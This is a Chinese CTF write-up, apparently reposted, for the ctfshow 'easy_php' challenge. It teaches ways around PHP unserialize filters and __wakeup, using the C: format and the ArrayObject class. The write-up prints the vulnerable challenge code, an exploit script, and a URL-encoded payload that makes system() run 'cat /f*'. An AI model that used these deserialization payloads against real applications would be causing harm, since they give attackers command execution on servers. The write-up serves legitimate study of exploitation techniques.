这题学的了一些小tips,这里讲解一下。
基础
这里详细讲解一下使用c绕过wakup。
O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任何属性或方法。这样一来,在反序列化时,__wakeup魔术方法就不会
被自动调用。
从下面慢慢解释和扩展。
第一阶段-引入
<?php
class AAA {
public function __wakeup() {
echo "__wakeup";
}
public function __construct(){
echo "__construct".PHP_EOL;
}
public function __destruct(){
echo "__destruct".PHP_EOL;
}
}
$a = serialize(new AAA());
$mod = str_replace("O:","C:",$a);
echo $mod.PHP_EOL;
$unserialized = unserialize($mod);
var_dump($unserialized);
这里我们发现是没有触发__wakup的,但是这里有一个问题就是这里不能有属性,为什么呢,这里分析一下。
因为现在这种方法不能有属性,那么只能触发__construct和__destruct,所以相对比较不这么好用。
//回显
__construct
__destruct
C:3:"AAA":0:{}
Warning: Class AAA has no unserializer in D:\tools\phpstudy_pro\WWW\5.php on line 24
object(AAA)#1 (0) {
}
__destruct
当O被替换成了C以后,这里生成的序列化字符串被认为是一个可调用对象的字符串,而不是一个普通对象。当我们将他反序列化的时候,它会被转换为一个匿名函数,并成为可调用对象。
可调用对象是不允许有属性的,因此在序列化字符串中包含属性的情况下,反序列化操作会忽略这些属性,但是我们这里是直接不能序列化的了。
第二阶段-扩展
但是说还有另一个东西,就是就是有接口Serializable的类
C这个标识符,其实也是代表实现了 Serializable接口的类
因为实现Serializable接口,我们必须要重写serialize和unserialize方法
这里我们本地看一下。
<?php
class AAAA implements Serializable{
public $name="aa";
public $age="bb";
public function serialize() {
return serialize(array(
'name' => $this->name,
'age' => $this->age
));
}
public function unserialize($data) {
$data = unserialize($data);
$this->name = $data['name'];
$this->age = $data['age'];
}
public function __construct(){
echo "__construct\n";
}
public function __wakeup() {
echo "__wakeup()";
}
public function __destruct(){
echo 2222222;
}
}
$a = new AAAA();
$b = serialize($a);
echo $b.PHP_EOL;
$c = unserialize($b);
var_dump($c);
这里我们看看回显,可以看到序列化默认输出就是C,然后下面他是有解析属性,这里讲解一下,然后这里看到他的序列化串,其实按AAAA中的serialize加密方式来的。
//回显
__construct
C:4:"AAAA":45:{a:2:{s:4:"name";s:2:"aa";s:3:"age";s:2:"bb";}}
object(AAAA)#2 (2) {
["name"]=>
string(2) "aa"
["age"]=>
string(2) "bb"
}
22222222222222
首先,有C在的情况,他会先检测这里类是否实现了Serializable接口
如果有的话,他会将里面的值传入我们重写的unserialize方法中,就是这一串
a:2:{s:4:"name";s:2:"aa";s:3:"age";s:2:"bb";}
这个我们知道是可以正常解析的,所以我们可以通过利用实现了Serializable接口的原生类,来解析正常解析里面的那一串。
下面是获取实现Serializable接口的脚本
第三阶段-利用
<?php
// 获取所有已定义的类
$classes = get_declared_classes();
$serializableClasses = [];
// 遍历所有类
foreach ($classes as $class) {
// 创建反射类对象
$reflection = new ReflectionClass($class);
// 判断类是否实现了 Serializable 接口
if ($reflection->implementsInterface('Serializable')) {
// 将实现了 Serializable 接口的类添加到数组中
$serializableClasses[] = $class;
}
}
// 输出实现了 Serializable 接口的所有原生类
foreach ($serializableClasses as $class) {
echo $class . PHP_EOL;
}
/*
ArrayObject
ArrayIterator
RecursiveArrayIterator
SplDoublyLinkedList
SplQueue
SplStack
SplObjectStorage
*/
这里我们使用第一个ArrayObject,我们先生成一个,放到里面反序列化看看
<?php
class AAAA{
public $name=1;
public $age=2;
}
$a = new ArrayObject;
$a -> a = new AAAA;
echo serialize($a);
//C:11:"ArrayObject":73:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:4:"AAAA":2:{s:4:"name";i:1;s:3:"age";i:2;}}}
这里我们在序列化AAAA类中看看。
<?php
class AAAA{
public $name="aa";
public $age="bb";
public function __wakeup() {
echo "__wakeup\n";
}
public function __construct(){
echo "__construct\n";
}
public function __destruct(){
echo 2222222;
}
}
$c = unserialize('C:11:"ArrayObject":73:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:4:"AAAA":2:{s:4:"name";i:1;s:3:"age";i:2;}}}');
var_dump($c);
但是这里发现虽然是执行了,但是没有绕过__wakeup了,所以发现好像只能当一个绕过过滤使用的,但是不能用于绕过__wakeup了,呃呃呃。文章来源:https://www.toymoban.com/news/detail-426126.html
//回显
__wakeup
object(ArrayObject)#1 (2) {
["a"]=>
object(AAAA)#2 (2) {
["name"]=>
int(1)
["age"]=>
int(2)
}
["storage":"ArrayObject":private]=>
array(0) {
}
}
2222222
题目
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow{
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
system($this->ctfshow);
}
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
?>
看看过滤,这里发现他是匹配开头是O或者a的,后面还有匹配数字的,加上i,那么我们基本是不可以通过的,注意这里加号不能用,那么这时候就可想到利用原生类加上接口Serializable就可以绕过过滤了文章来源地址https://www.toymoban.com/news/detail-426126.html
//exp
<?php
class ctfshow{
public $ctfshow="cat /f*";
}
$a = new ArrayObject;
$a -> a = new ctfshow;
echo serialize($a);
payload:
get传:?1%2B1%3E2=C:11:"ArrayObject":75:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}}
到了这里,关于ctfshow 第三届愚人杯 easy_php的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!